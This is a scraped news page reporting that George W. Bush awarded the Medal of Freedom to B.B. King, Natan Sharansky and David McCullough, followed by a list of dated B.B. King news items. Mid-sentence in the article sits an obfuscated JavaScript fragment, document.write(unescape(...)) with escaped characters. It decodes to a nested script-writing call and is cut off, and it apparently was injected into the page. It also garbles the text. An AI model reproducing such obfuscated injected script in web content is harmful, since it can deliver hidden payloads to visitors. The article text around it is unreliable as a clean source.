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Legendary blues musician B.B. King, former Soviet dissident Natan Sharansky and historian David McCullough were among those awarded the Medal of Freedom on Friday by President George W. Bush.
Bush lauded King for overcoming his hardscrabble childhood in the South to become one of the world's greatest blues guitarists and singers. King was living alone by the time he was 9 and picked cotton for 35 cents a day, Bush recalled.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
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B.B. King News
July 14, 2015
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May 15, 2015
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April 9, 2015
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April 18, 2014
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April 8, 2014
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October 29, 2012
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September 15, 2012
EMPEROR MEDIA is pleased to announce the release of the much-lauded film on the extraordinary life …
March 28, 2011
Universally hailed as the reigning King of the Blues, legendary B.B. King will perform three UK …
December 1, 2010
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